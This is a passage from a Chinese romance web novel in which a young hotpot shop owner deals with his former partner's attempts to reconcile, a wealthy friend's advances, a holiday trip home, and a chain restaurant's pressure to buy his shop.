生了病的郑祉桓始终是蜷缩着，在乔施珩这张并不大的床上，他手脚蜷缩，像是想要抱着什么，又偶尔难受地皱紧眉头。 大概是睡得太晚又太困，乔施珩竟然睡过头，醒来的时候屋外已经天光大亮。 他睡前是在床边的躺椅上，睡醒却是在床上。 顾不上是不是郑先生将他挪了地方，他急匆匆出了房门，却撞上刚换好衣服的苗楠。 “小乔老板，你今天起晚了。”她指了指前厅：“不过你哥都帮你把货提进来了。” 乔施珩蹙眉，他走到前厅，就看到小玉正把货物归类放到冰柜里，而梅姐正在擦桌子，并没有看到郑先生的身影。 “小乔老板，你起来了啊？”小玉看到他就打招呼，“原来那天晚上那个人是你哥啊，我就说怎么这么厉害。” “他人呢？” “走了啊。” 乔施珩没想到他会这么干脆，但他也一直都认为郑先生不是个会与人纠缠不清的人。 也许，每一次的纠缠都可能是最后一次。 “小乔哥，他怎么走了啊？”小玉走过来，望着门外，“他看起来好可怜的样子。” 乔施珩没回答她，他转身往后面的房间走去，他还没有洗漱。 前厅有了梅姐的帮忙，乔施珩轻松不少，有客人的时候他就一起忙，没客人的时候，他就捣鼓他的番茄锅底。 在他的不懈努力之下，番茄锅底似乎终于达到了他想要的味道。 如果他这边卖得好，他就会把配料表发给太芬，让她也做新口味的串串卖。 不过太芬的摊位太小，也不能留人堂食，胜在生意确实不错，肯定要比乔施珩这边赚得多，乔施珩这边回本都遥遥无期。 但令乔施珩意外的是，给他送货的几家货商都先后告诉他食材降价，他进货的钱几乎省去了一半。 他跟太芬那边报来的价格比了一下，发现天市的食品确实要比申市便宜很多。 临近圣诞，店里每天晚上人都爆满，每天只有上午和下午有一小会儿空闲时间，这个时候乔施珩都在后厨捣鼓他的新口味锅底。苗楠有相关经验，手也巧，还会做一些甜品。乔施珩打算把店里的小吃加一些新年新品，主要是甜品。 所以基本上苗楠会和他一起窝在后厨忙活。 “小乔哥，你尝尝我的芋圆奶芋如何？” 乔施珩拿勺子吃了一口，味道很好，就是太甜了一些，不过乔施珩是属于不爱吃太多糖的人，“有些甜了，你问问看小玉？” 苗楠端着甜品出去，没一会儿就回来了。 “小乔老板，外面来了个男人带个小孩，说找你。” 乔施珩关掉火，出去一看，竟然是郑祉裕和郑屿森。 “小乔叔叔。”郑屿森背着个鸭子背包，戴着个鸭子帽子，甚至鞋都是大黄鸭，蹦蹦跳跳朝他扑过来，幸好乔施珩挡了一下，不然会扑他一身油。 “我这围裙上都是油渍。”乔施珩说着把围裙解下来，把他抱起来，问他：“你怎么来了？” “我坐大飞机来的。” 乔施珩走到郑祉裕身边，“郑总。” “不错啊，这个店装修挺简约。”郑祉裕四处看了看，“生意怎么样？” “还可以。不过，不知道能维持多久。”乔施珩招待他们：“晚上在这儿吃，尝尝看味道怎么样吧。” “好啊，那就恭敬不如从命了。”郑祉裕找了个位置坐下来。 郑屿森从乔施珩怀里挣扎下来，在店里跑来跑去。 梅姐给他们拿了壶茶，小玉又把后厨的小吃端了几道上来。 郑祉裕很稀奇：“这你都做的？” “不是，我就研究一下锅底，这些都是我们店里大厨做的。”乔施珩在他对面坐下，给他倒水。 郑祉裕似乎不怎么吃这些，倒是郑屿森很感兴趣，跑过来吃。 “我看这附近还是有些萧条，破旧。似乎是个老街道？” “是的，这个地区本来也就是老城区。” 郑祉裕一边把郑屿森手里的鸡块拿下来，一边说：“你跑到这里来，老二就是有天大的本事，也没办法短期内到这边来工作。” 他问乔施珩：“他最近来过吗？” 乔施珩不想回答这些问题，他就有些小声地说：“他的事儿，你不是都知道吗？” “那可不一定，谁有空天天盯着他啊。” 一边的郑屿森嘟囔：“你有空给我找后妈。” 郑祉裕把开水端给他：“少讲话，喝水。” “不要，你就是来找那个讨厌鬼的，我都知道。”郑屿森从小黄鸭书包里摸出一个小卡片，递给乔施珩：“小乔叔叔，这个就是我爸爸要给我找的后妈。” 乔施珩接过卡片，上面是个卡通人物。 “是吗？”乔施珩比对面的郑祉裕还尴尬。 “我是过来出差，顺便带他来玩几天。” 郑祉裕不急着走，就带着郑屿森在店里玩。 晚上过来的人多了，乔施珩也就忙起来了，他给郑祉裕上了番茄锅底后，就忙得不可开交。 郑祉裕住市中心的酒店，带着孩子不方便留到客人都走完，所以他就先离开了。 显然像郑祉裕这样的人也比较吸引小姑娘，晚上下班后，乔施珩免不了又被小玉她们一顿盘问。 开店的时间久了，乔施珩也渐渐跟周围的商户打好了关系。隔壁是个连锁小饭馆，老板是一对夫妻，另一边挨着的是一家麻辣烫店，店主仍然是一对夫妻。像乔施珩这样独自来开店的情况，很少。好在他人比较老实，也不多话，偶然来找他借什么东西，他也不小气，渐渐地，周围的商户对他印象都比较好。 熟悉了以后，八卦绯闻就多了起来。 梅姐情报能力很强，最新的八卦消息总是从她这里听说。 “我听说，隔壁的麻辣烫店，要关门了。”她一边摆放菜品，一边说：“听说今年亏了不少，做不下去了，打算过完年就不干了。” “梅姐，你怎么知道？我看他们开得好好的啊。”小玉疑惑：“一点儿不像要关门的。” “那人家关门，能告诉你啊。”梅姐很肯定：“那门面都已经开始往外租了，过完年来，保证就换人了。” 苗楠还是比较关注过年放假这件事，店里人手少，她们基本上没什么休息日，乔施珩虽然按照三倍加班工资给她们结算，但谁不想休息呢。 “小乔老板，我们店什么时候放假啊？” 乔施珩没想过这个问题，他问：“别人家都什么时候关门？” “看路远路近，也有不关门的。”苗楠试探性问他：“咱们不会，不关门吧？” 乔施珩不是很想关门，但他知道现在客源还没很稳定，春节本地人流量少，不关门的话加班费很高，可能得不偿失。 “关，回家过年。”乔施珩想了想：“比法定假日提前三天吧，年后初六复工。” 大概是没提前规划，飞机、高铁、火车都已经没票了，乔施珩无奈加入了抢票大军。 回家之前，乔施珩认真考虑了再招一个人这件事，因为这几个月来店里的员工基本上没休息过，他想再招个全职，前厅可以等年后来招一些附近的学生来兼职，这样店员就可以轮休了。 他把想法告诉了蒙久，和蒙久一起敲定了这件事后，乔施珩也轻松了不少，但因为不知道年后生意怎么样，所以他把计划往后推了一下，打算看年后复工情况再准备。 天市的冬天比申市冷，雪也比申市多。 夜里悄悄一场大雪，早上整个天市就披了一层白。 他在门口铲雪，竟真的看到了隔壁麻辣烫店的门上贴了转租的单子。 麻辣烫的大哥也在门口站着，乔施珩就问他：“李哥，过完年不来了吗？” “不做了，回老家找点事做做。”他感叹：“这年头生意不好做啊，尤其是今年，连青菜都涨价，油麦菜都三块钱一斤了，这生意做不下去了。” 乔施珩听他抱怨菜价贵，越听越觉得不对劲，他的进货价格明明才一块五一斤，不过他也没有说出来。 雪大，送货的货商来得也晚，乔施珩就抓着那大哥问了下菜价，大哥告诉他确实是一块五，他就不解：“没涨价吗？” “没有，涨了会告诉你的。” 虽然心里有疑问，但他已经再三跟送货的确认了，送货的就是货商的人，所以他放下心来。 大雪天客人不多，又临近过年，很多人已经回乡，乔施珩在柜台算账的时候，门被人推开，他以为有客人，谁知抬头却看到了冯昭。 他穿着个皮草大衣，手里拖着行李箱，像个找错酒店的旅者。短短几个月，他身上的学生气息褪去了，现在看起来，更像个贵公子。 看到乔施珩，他笑说：“小乔哥，好久不见啊。” 乔施珩很惊讶，“你怎么来了？” “我就知道我们俩有缘分，我跟你说我要去的很远的地方，就是天市。” “那真是太巧了。”乔施珩招呼他：“坐吧，吃饭没有？想吃什么？” “我不饿，暂时不吃。”他把行李箱放下：“你什么时候回家？” “打算年前提前两天走。”他又无奈：“但还没抢到票。” “好说，我有车。”冯昭推了推行李箱：“那就劳烦你收留我几天，我跟你一起回去。” 乔施珩不是个扭捏的人，只是：“我没地方给你住。” “我就在你床边打地铺。” 他看冯昭说得那么理所当然，拒绝的话转了又转，没好意思说出来。 “那好吧。” “我这几天给你当店员。” 冯昭大概是有备而来，当天就跟小玉和苗楠混熟了，就连梅姐都被他哄得团团转。 晚上他要去商场买床垫的时候，乔施珩实在没忍住：“你住得远吗？” “远啊，我在城西，你在城东，横跨整个天市，你说远不远？” 于是乔施珩不算大的床边，铺了一张极其昂贵的床垫，还有价格不菲的被子枕头。 乔施珩没指望冯昭干活，他也确实不会干活，于是乔施珩就把他安排去收银。 “都没几个人，干脆关了算了，我们开车回去得好久呢。” 乔施珩看了看抢票情况，“要多久？” “十二个小时吧。” “还好，不是很远。”乔施珩看了看确实不太景气的生意，还是坚持提前三天关门。 他用工作微信号在朋友圈和一些客人群里都发了通知，通知了关店及年后开门的时间。 冯昭陪着他熬到店关门，本来打算一大早就走，但他却睡过头，任凭乔施珩怎么叫他，都不起来。 “天这么冷，再睡一会儿。” 前几天他都是睡到九点多才起来，乔施珩很无奈，“你平时都几点上班？” “几点去都没人敢说我什么。”冯昭翻了个身，继续睡了。 乔施珩把行李箱推出去，又把店里的水电燃气、食材设备都检查了一遍。 他出去转了一圈，发现街上确实很多家都关门了，没关门的大多是一些可以承办年夜饭的饭店。 就在他绕了一圈，绕回店门口的时候，他看到有人站在店门口的侧面位置，盯着他的店看。那个人戴着口罩，但从他的衣着身形来看，乔施珩还是看出来了，他没往前走。 如果在店里，郑祉桓所站的位置，他是看不到的。 乔施珩又往后退了几步，退到拐角，这个时候他的手机响了，是冯昭。 “你人呢？” “在外面，马上回。” 他又探头去看，郑先生还是站在原来的位置，但当冯昭开门出来的时候，他转身往另一边走了。 而冯昭伸头在路上四处看了看，根本没在意那个离去的背影。 乔施珩走回去，冯昭问他：“你都收拾好了？” “收拾好了。”他错开冯昭，去提行李箱。 他的抢票订单没取消，但眼看快到时间，他都没抢到票，那么郑先生是怎么来的呢？又怎么回去呢？ “发什么呆？走了。”冯昭过来把他的行李箱提着。 “我昨天买的零食你放哪里了？” “后备厢。” “拿出来，路上我要吃。” 乔施珩无奈：“你开车呢，怎么吃？” “你喂我不就行了。”冯昭从驾驶位朝后备厢的他喊：“把我的红牛牛也拿来，袋子里有吸管。” 乔施珩烦他，干脆把一整个袋子都提着。 “你买这么多零食干什么？”他坐上副驾驶，系好安全带。 “吃呗。”冯昭看他坐好了，一脚油门开出去。 车子驶过街道，乔施珩的目光没放过路过的街角，但没再看到那个身影。 可能是看错了，他想，现在还没到郑先生放假的时候，来回机票，车票又都不好买。 “你怎么又发呆？”冯昭“吩咐”他，“帮我把牛牛打开，插好吸管，我要喝。” “才刚开没五分钟，你就要喝？” “要喝要喝。”冯昭没当回事：“十二个小时呢，我喝两口怎么了？” 乔施珩按照他的“吩咐”办好，递给他，看到他没手拿，就主动递到他嘴边。 冯昭喝完红牛又要吃饼干，乔施珩被他使唤了几次后，就索性不理会他了。 “算了，不折腾你了。”冯昭心满意足：“反正上了高速就快了。” 但事实是，他们连高速路口都没看到在哪里，就被堵在了路上。 第64章 “别剥夺我重生的权利。…… 十二个小时的路程，他们堵了将近二十个小时才进入申市。 去最后一个服务区的时候换成了乔施珩开，他直接把车开回家，然后把冯昭叫醒。 “我到家了，你能开车吧？” 冯昭迷迷糊糊地下车，活动了一下，“能开，就是太受苦了。你下次一定早点买票。” 他本来要帮着乔施珩提行李，但乔施珩拒绝了，“你赶紧回家吧，我这东西不多。” “哥！” 乔施文从王圆家超市里跑出来，“你还真是这个点到。” 冯昭看着她瘦了不少，还黑了不少，问她：“你怎么这个样子？你跑非洲去了啊？” “那边就是干燥，太阳又大，没办法啦。” “你比你哥机智，早就买好了票，不像他，开店都开傻了，票都不知道买。” 几个人寒暄几句，冯昭就驱车离开了。 乔施珩跟着乔施文往家里走，到家后把自己给孩子们带的礼物拿出来，却发现乔施军脸色不怎么好，歪在沙发上没精打采。 “这是怎么了？” “可能是夜里受凉了，没事。” “你再睡会儿？现在还早。”乔施珩说着打哈欠，“我是夜里都没敢睡，我得去补个觉了。” 太芬从厨房出来，“你床铺都给你收拾好了，你去睡吧，吃午饭再喊你起来。” 结果乔施珩一觉睡醒，都已经下午了。 他难得有这么放松的时候，就好像一直绷着的那根线，终于扯平了。 晚上乔施文跟太芬要带着婷婷去后面新开的洗浴中心洗澡，乔施军也就带着轩轩一起去了。 乔施珩不太喜欢去那种公众场合，他就没去，独自留在家里。 正看电视的时候，门外门铃响了起来，他走出去一看，院子外，郑祉桓提着一些东西，站在那里。 乔施珩走过去，就听他说：“抱歉，我路过，来看看你有没有回来。” 他把东西放下，没看乔施珩，而是盯着地上的东西看了一会儿，才开口：“我在天市的时候，和你说的最后那句话，你……会拒绝吗？” “如果我拒绝呢？” 郑祉桓看向他的目光中，有疑惑也有一丝惊慌，好半天，他才失望地问：“一次机会也没有？” 很神奇，乔施珩看他，是一种他从未有过的姿态，根本不像是一个将近四十岁的男人，却像个不知所措的毛头小子。 以前，他从未设想过他们之间会有这样一天。 他总是以为，如果他说离开，郑先生会毫不犹豫放人，接着，他们两个就会各自淹没在人海，再无交集。 毕竟在他的认知里，郑先生有着明确的人生目标，并且为之不断奋斗。他从不会拘泥于感情，也从没说过有关感情方面的任何字眼，他们关系最好最融洽的时候，也都仿佛有堵无形的墙，将他们隔开。 他觉得，他走不进郑先生的世界，他的情感世界是封闭的。 就连现在他想要自己回头，也都好像是毫无章法。他那么迫切地想要将他的情感传递给乔施珩，却总是感觉哪里不对，他似乎始终是克制的，没办法推开封闭住自己的那堵墙。他甚至连对情感的认知，都是模糊的。 乔施珩借着路灯的光，不知为何想到了他说的那句，他离开后有家人有朋友，身边围绕着很多人，而郑先生却只有自己的话来。 他能说出那些话，乔施珩平心而论，似乎已经是他所能言语表达的极限了。 “你昨天，在天市吗？” 郑祉桓似乎不想承认，但还是承认了：“早上飞机回来的。” “不用上班吗？” “请了几天假。” 他低头看地上的礼品，“都买了什么？” “一些水果，一些干果。” “东西我收下了，你回家吧。”乔施珩弯腰提起那些礼品，“你才去核心区不久，又选入申市SW常W，工作很忙，不要总是往天市跑。” 直到他准备关院门，郑祉桓才有些犹豫地问：“以后，那条巷子和门口，我可以来吗？” 乔施珩没回答他。 其实没有拒绝就是默认了。 在乔施珩转身之前，郑祉桓倒是先走了，他似乎是怕听到乔施珩的拒绝。 其实在这段感情里，乔施珩介意他那些形形色色的人，和他纵容那些人轻视他的态度，他没给予自己尊重，也讨厌他，不懂什么是爱，又在自己已经放弃后，回过头来，不想放弃自己。但这段感情里，他自己也有错，他是个胆小鬼，他自觉卑微，他缩在壳里，他不敢逾越。 可乔施珩也骗不了自己，他没办法也没心情去开启一段新感情的原因，其实很直接，很直白。 那堆礼品里，夹带了一个温热的东西，他拿出来一看，是一杯老式的奶茶粉冲泡的奶茶。 那瞬间，他能清晰地感知自己一直费劲打造的坚固城堡，有了裂痕。他很没用的，让一杯现在已经很少能看到的，老式奶茶店冲泡的奶茶，冲击了他的防线。 他摩挲那杯温热的奶茶很久，才想起来在手机上搜索这个奶茶店的品牌名，却发现这家店在郊区一个偏远的小镇上，被两所学校包围着，顾客应该都是以学生为主。 插入吸管喝了几口，意外地好喝。 只是再怎么好喝，也不是年轻时候喝过的那些奶茶的味道了。 天市早就下过的雪，申市又攒到了除夕这天才下，看着稀稀拉拉的雪花，乔施珩心想应该不会下多大。 轩轩和婷婷找了几个附近的小朋友在院子里放摩擦类鞭炮，太芬和乔施文在准备年夜饭，这个时候，轩轩提着个袋子进来，他说：“门口有个戴口罩的叔叔说是给小叔的。” 乔施珩放下手中的盘子将袋子接下来，又看到了那杯老式奶茶，只是不同的是，这次袋子里至少有六七杯。 “那位叔叔呢？” “走了。” 乔施文喝着奶茶，很稀奇：“满大街奶茶店，现在哪还有这种古老的奶茶？” “有的。” “郑先生送过来的？”乔施文小声问他：“你们到底怎么说？还会有后续吗？” “好了。”乔施珩不想再听她说这些事情，就打断了她。 乔施文知道他不想听，也没再说下去。 假期他们本来想要在家打麻将玩，但是乔施军一直不舒服提不起劲来，所以乔施珩和乔施文选择带轩轩婷婷去商场玩，顺便打算看场电影。 他们逛了一下午，给轩轩婷婷买了一些衣服和玩具，就找了家店吃饭。 结果不知道是巧合还是什么，他们坐下没多久，郑祉桓就独自走了进来。 乔施文眼前一亮，她朝着郑祉桓招手，郑祉桓看了他们一眼，最后目光落在乔施珩身上。 “郑先生，你一个人吗？要不一起？” 乔施珩没有表态，郑祉桓到了他们桌前也没有坐下，他只说：“不用。” “哎呀没事。”乔施文看了眼乔施珩，完全不怕他生气，直接给郑祉桓让位置：“你坐这儿，咱们这么熟了还客气什么。” 郑祉桓仍然没坐，他只是问乔施珩：“什么时候去天市？” “初四。” 郑祉桓点了点头，随后他去坐了小桌。 乔施文重新坐下来，她实在不明白：“郑先生到底做什么十恶不赦的事情了？” “别问那么多了。” “你看郑先生这样的人，他总是端着，你让他怎么好意思……” “小姑，你们说什么呢？”轩轩问她。 乔施文只好不说这个话题。 乔施珩乘坐初四上午的高铁，于中午到达天市。他拖着行李箱打车回到自己的店，却看到郑祉桓已经站在了店门前。 看到乔施珩过来，他问：“没坐飞机？” “没有，刚好抢到了高铁票。”乔施珩反问他：“你为什么来这里？我不是说了，不要总是往天市跑。” “我的假期还没结束。” 乔施珩打开门进去，店里的设备要重启，卫生要打扫，他的事情其实很多。 郑祉桓在门口，没有贸然进去，乔施珩看了看他，“进来吧。” 乔施珩要检查设备，看郑祉桓在店里无所事事，他就问他：“打扫卫生的活，做吗？” 其实挺滑稽的，他那么大个子，穿着后厨厨师穿的围裙，动作笨拙却很认真地来回拖地，擦桌子，擦冰柜。 把活儿都干完，乔施珩才想起来，他们都还没有吃饭。 他到后厨简单做了两碗鸡蛋面，端到了前厅，找了张桌子放下。 郑祉桓自觉去洗手，然后过来坐下。 恍惚间，乔施珩竟然觉得，这场景太过熟悉，而他们双方，又都太过自然。 可这样的生活场景，他们本就上演过无数.欲.加.之.言.遍。 乔施珩的店里只有一间房可以休息，年前冯昭留在这里的床垫，他还没有来得及立起来，正好给郑祉桓用了。他站在房间门口，看着这张占据了房间一半位置的床垫，脸色很沉，但最终却什么也没说，坦然接受了安排。 洗澡间是由狭小的杂物室改建，不是乔施珩改的，是前任或者前前任店主改造的，郑祉桓这样的个头进去后，感觉转个身都困难。 乔施珩的房间里比较暖和，他已经早早躺下玩起了手机。 但是郑祉桓进来时，他还是有些紧张，又往被子里缩了缩。 郑祉桓却没越界，他在床垫上躺下后，什么话也没跟乔施珩说。 乔施珩的紧张感消退后，不知不觉就睡着了。 早上，他被隔壁装潢的声音吵醒。 床垫上已经没有了郑先生的身影，乔施珩穿好衣服后就去了前厅，看到郑祉桓在店门口，手里还提着早餐。 他跟着走出去，发现隔壁的麻辣烫店正在装修。 “谁盘下了这个店？”他好奇，但没看到相关店铺介绍。 这种店铺的变动其实很常见，乔施珩并没有当回事。 他回到屋里，洗漱后就出来吃早餐。 “我要跟送货的那些大哥再次确认好货物送来的时间，燃气也要加一些。”乔施珩规划着，“他们也都才复工，下午会送过来，明天我这边就打算开业了，可能刚开始生意会不太好。” “别有太大压力。” 乔施珩摇头：“说没压力才是假的。” 下午货物陆续送来，郑祉桓帮他提进来，他自己在冰柜前分类放好。 “你不回申市吗？我明天就开业了。” “我在这里，会影响你？” “我只是觉得你不好一直在我这里。” 郑祉桓似乎想说什么，但又不知出于什么原因没说出来，他答应了下来：“明天早上的飞机，回申市。” 他这次离开也是很早，且静悄悄。 乔施珩起来得明明很早，但他已经走了，只留给他“走了”两个字。 乔施珩又躺了回去，他看着手机对话框里，这两个字，想起上次在这里，喝醉了酒的郑先生和他说：“别剥夺我重生的权利。” 而在那之前，他还让他不要再到这里来。 洗漱好后，还没到小玉上班的时间。 “你好。”店门外进来了两个人。 乔施珩看这两个人，就不像是顾客，果然，前面的那个男人拿出名片递给他：“我是隔壁小君串串香连锁店的区域负责人，我想跟你谈谈，有关店铺的问题。” “隔壁，小君串串香？” 第65章 “小乔哥，考虑找对象吗…… 小君串串香是全国知名餐饮连锁品牌，这样的店要是开在旁边，无疑会对乔施珩的店产生巨大的冲击。他那瞬间脑袋有些空白，被一种恐慌以及无力所笼罩。 将人迎进门，乔施珩要给他们倒水，他们很傲慢地拒绝了。 “你是这家店铺的老板？姓乔。” 看来是有备而来。 乔施珩点点头。 “我们就不客套了，来之前我们对你的店做了评估，你这间店铺是新店，未达到稳定盈利的条件。我们按照收入持平对你的店进行估值，综合设备残值、装修残值以及商圈平均转让权，约为23万，考虑到你的剩余租期，我们愿意将价格调整到25万。” “什么意思啊？”乔施珩有点懵，“是要收购这间店铺的意思吗？” 他想，不加蒙久的装修费和桌椅板凳费，现在25万也亏损了很多啊。 “并不算收购，我们不要你的配方，我们只是想要你这间店铺，我们认为你现在出售店铺对你是最有利的，否则后面你再关门，得不偿失。” 这两人显然没有时间等乔施珩做决定，“我们计划开业的时间很紧，留给你的考虑时间也不多。请你尽快做决定，考虑好以后联系我。” 他们寥寥几句，打了乔施珩一个措手不及。 送走了他们，小玉她们也准时来上班了。 “小乔哥，新年好啊。” 乔施珩跟她们打招呼，又派发了开工红包。 第一天人并不多，乔施珩就抽空给蒙久打了电话，蒙久也没想到会遇到这种事情，但是他对小君串串香这个店的口味持怀疑态度。 “小君串串香是江南甜口偏多，整体比较寡淡。他们家的番茄锅偏甜，辣锅又不辣，甚至连麻酱锅都是甜口，这样的店开过去也不符合北方口味吧？我觉得他能不能开下去都是个问题，也就是品牌比较大，但恰恰是大品牌，我们也干不过啊。” 乔施珩跟他聊了蛮久，整体听下来，蒙久认为坚持做下去的必要性不大，但也并非不能坚持。 显然，小玉她们也很快就知道了隔壁要开小君串串香的消息。 “我在老北区吃过一次，难吃死了，这样的店能开到全国我都觉得不可思议，怎么敢跟我们店叫板！” 梅姐显然没吃过，她忧心：“那再怎么说，也是个大品牌，咱们这个店开在旁边，能行吗？” “梅姐，是他们硬要开在我们旁边。” 倒是苗楠认为问题不大：“我也吃过，确实是淡口。咱们这边口味都很重，我觉得至少重口这部分客户，我们不会损失。” 小玉拿出手机百度了一下这个小君串串香，“小君串串香是潮南食记集团下的连锁品牌，他们集团旗下好多连锁品牌啊。” 她本来还愤愤不平，看到人家背后资本，又泄气了。“难道我注定又要失业了吗？” 乔施珩知道，这件事情的最终决定权还是在自己手里，不管是蒙久还是其他的谁，都不能替他做决定。 他的店铺虽然还未达到盈利的状态，但年前生意不错，至少没有亏损，在回本中。 经过一夜的考虑，他还是决定冒一点风险，坚持运营。 潘以佳倒是也跟他持相同的观点，她在回他的消息里鼓励他，她也认为除非小君串串香愿意抬价至少十五万，否则不能关门让步。 乔施珩也这么认为。 初八之前的客人很少，稀稀疏疏，但是复工之后的客人就陆续多了起来，现在还没有开学，多是附近小区的居民和已经复工的上班族。 那两个人直到初十才再次上门。 乔施珩想请他们坐下好好说，但他们确实傲慢，听到乔施珩说暂时不考虑关店以后，他们露出了一个嘲讽的笑容。 “乔老板，我想，你会关门的。” 其实乔施珩也明白他们为什么想要这间店铺，他的这间店铺比隔壁麻辣烫店要大不少。 如今他们留下那么肯定的言语，单纯又没有多少社会经验的乔施珩其实根本没有别的理解，他只认为他们是对自己的店有信心，能够将他的店竞争倒闭。 说不慌是不可能的。 但如果就要这么关店让地方，那他前面几个月的辛苦也就白费了。 做生意本就不容易，他又没有经验，在蒙久的帮衬下才磕磕绊绊地开了起来，其间又投入了那么多精力。他能够把店开起来，自己都觉得惊讶，怎么甘心拱手让人。 从这天起，他投入到店里的精力更多了，同时也开通了外卖平台，加入了一些本地美食类平台，在互联网上“露面”。 隔壁店的装修还在继续，乔施珩看着他们总是占用自己门口的位置，找了他们沟通过几次，效果都不太好。但门口的一些建筑垃圾并没有对他的客流造成多少影响，每天还是会有不少客人光顾。 直到后面建筑垃圾越来越占道，客人才跟乔施珩反映这件事。 乔施珩太温和，不够强硬，梅姐自告奋勇，找了个客人还没来的早上，撸起袖子就跑到他们门口骂人。那尖锐的骂声，估计站在街尾都能听到。梅姐骂了个爽，但那些工人就是不动弹，根本不带把水泥袋往自己家门口挪一点。 乔施珩正要再去沟通，冯昭从街道停车场的方向走了过来。 “这是怎么了？开新店啊？”冯昭到了跟前一看就明白了，那些水泥袋就差把乔施珩店的大门给堵了。 “这点事还值得生气。”他淡定地掏出手机：“我来联系我们家亲爱的法务部。” 乔施珩按下他的手机：“这点事，至于吗？” “什么事儿不用自己干，都不用自己干啊。”他懒懒散散。 “不用了。”乔施珩拿出自己拍的照片，“我打算先去找市场管理方投诉，不行的话再打12345热线，都不行再想别的办法。” “前两步你就省了吧，直接第三步。” 冯昭跑到一边打完电话，这才悠闲着晃回来，他盯着隔壁的店看了半天，忽然后知后觉，“小乔哥，这开的是小君香啊？这家怎么找到这种破地方开连锁店的啊？” 梅姐在旁边唉声叹气：“可不是，都想把咱们店给买了。” “岂有此理。”冯昭不平，“他这店好吃吗？我没吃过，但是听说过。他们总部好像在大广，跟我们家业务上完全没有交集，但是说不定拐几个弯也能有认识的人。” 小玉探头过来：“你在你们家有话语权吗？” 冯昭很诚实：“有，但不多。” 他看到小玉的眼神，一点儿也不觉得有什么，“你不要电视剧看多了，我大学刚毕业，能做什么有利于集团和公司的决定，我连部门都还没有记全呢，我现在正在学习，学习你懂吗？” 小玉和苗楠相视一笑，跑去后厨了。 “放心吧，直接告比跟他讲理有用多了。”冯昭进门转了一圈，“我要去一趟燕京，在那边有个培训，我得去学习。” “那不是挺好的，你现在不就是在学习？” 冯昭摸了摸店里的桌子，都擦得很干净。但是他似乎心思不在检查卫生上，看乔施珩在控台上摆放调料，他又晃荡过去，“太累的话，干脆别干了。” “为什么？”乔施珩莫名其妙，“你不会是隔壁的卧底吧？” “那肯定不是啊。”他想了想，“我现在工资其实很高的，我自己都花不完。” “花不完就攒着。以后用钱的地方很多呢。”乔施珩说完又发现他们家情和家情不一样，改口：“反正钱再多也别乱花。” 冯昭好半晌，才说：“鉴于我钱太多，我打算给你点支持。你就跟隔壁干，没钱的话我来投资。” “真的吗？”乔施珩觉得他信口开河，“你有多少钱？” 显然，乔施珩这样普通的人对豪门是真的没有概念，冯昭随便找了张银行卡给他看余额，都让他以为他是造假的程度。 看乔施珩目瞪口呆，冯昭倒是不觉得有什么，“这是我钱最少的一张卡了，就别提那些房子车子了。所以我说我可以支持你开店，别说这种店了，你就算在市中心开，我也能负担。根本没什么好怕，亏再多我也能负担得起。” 乔施珩给了他一肘子，错开他往橱柜前走，“这是我的店，说得跟你是背后老板一样。” 冯昭又跟过去，他靠在橱柜上，乔施珩想推橱柜的门推不动，他抬眼去看冯昭，却见冯昭目光低垂，看向自己的眼神他并不陌生。 那瞬间，乔施珩觉得头皮都炸裂了。 “我可以是你背后的老板。” 乔施珩用手里的夹子在他眼前晃了晃，“说什么梦话呢？” 他捉住乔施珩的手腕，“我很认真啊，你怎么这样？” “行，我要是没有资金了，就找你来投资。” 冯昭晃了晃手机：“我可都录音了。” 乔施珩挣开他，“我还怕你赖账呢。” “能用钱解决的事情都不是事情。”冯昭问他：“我先给你转……” 乔施珩打断他：“没到那个时候呢。” “好吧。” 冯昭看他那么专注地整理菜品，“小乔哥，考虑找对象吗？” 乔施珩的叉子顿了顿，“不考虑。” “你也不能因为被蛇咬过，就怕绳子吧？” 一边路过的小玉插嘴：“那是一朝被蛇咬十年怕井绳。” “对对，就是这句话。” “考虑不了。”别说他没有这个考虑，就算有，现在这个时候，他也没有心情考虑。 “为什么啊？你考虑一下呗。” 旁边路过的小玉又插嘴：“小乔老板，你就考虑一下呗？” 冯昭赶她：“忙去，有你什么事。” 他在这里晃荡到中午，隔壁的工人过来把水泥袋都搬走了。 他就跑去跟乔施珩邀功，但是店里有客人，乔施珩没空理他，他就赖在这里吃了饭，还顺便买了几十杯奶茶过来。 “在场的客人一人一杯啊，乔老板请客！” 他吆喝完，门外有人进来，他的笑容僵在脸上，把奶茶袋递给小玉，让她去发，随后他来到门口，挡在郑祉桓面前。 “郑叔叔，你怎么这么阴魂不散呢？这都跑到天市了，你怎么还能找来？” 郑祉桓没在意他的挡路，他进门来就往前走，顶着冯昭不得不往后退。 “喂，郑大叔，你不要一把年纪了还搞这种老套的剧情，你俩的事情我都听说了，你现在最好有多远跑多远……” “你为什么在这里？” “我来看望朋友！”冯昭不知为何，有些心虚。 “看完了？” “算是吧，我马上就要走了。” “那滚吧。” 冯昭莫名来气，正要不依不饶，乔施珩出现了。 “你们两个挡路了。”他把锅底给桌上的客人放好，没顾得上给他们眼神，“往旁边站。” 冯昭的手机这会儿响了起来，大概是催他离开。 “郑叔叔，你可好自为之，别做什么过分的事情。” 对于这些话，郑祉桓就像是没有听到。 冯昭走后，他在店里环顾一圈，然后老实在前台站好，看着那台收银用的电脑，主动摸索起来。 乔施珩忙得脚不沾地，等到下午客人都走完了，他才有了点空。 郑祉桓站在前台看他，他洗完手就走了过去。 “会用吗？” “会。” 乔施珩自从开店后对星期几的记忆都有些模糊了，好像每天都得工作，于是他想了一下才发现今天是周六。 “你说，我要不要再招一个人呢？” 郑祉桓赞同：“店里饭点人不少，可以考虑。” “可是，好像又有些麻烦。” “什么麻烦？” 第66章 “后续有问题，我来处理…… 乔施珩正要和他说，梅姐提着垃圾桶走了过来，看起来是要出门扔垃圾，看向郑祉桓的眼神就是那种认识但不知道叫什么的感觉，而人们寒暄，通常最常说的一句就是：“吃饭了没有？” 只是寒暄，梅姐停都没停就出去了。倒是乔施珩才想起来：“你吃饭了吗？” “没有。” 乔施珩从他面前的桌面上抽出一张菜单，“你想吃什么锅底的串串？” 郑祉桓盯着菜单看，目光却游离到了乔施珩的手上，他做饭的时候虽然戴了手套，但不知道什么时候还是被烫了一下，手面有些泛红。乔施珩没有注意到他在看自己的手，以为他是不知道选择哪一种，就跟他介绍：“酸辣锅是我自己捣鼓出来的，番茄锅和菌菇锅……” “酸辣锅。” 乔施珩放下菜单：“你等等。” 他去了后厨，苗楠正和小玉在洗盘子。 两人本来聊得火热，看他来了立刻噤声。但是没多久，小玉就问他：“小乔老板，那人到底是你亲哥吗？” 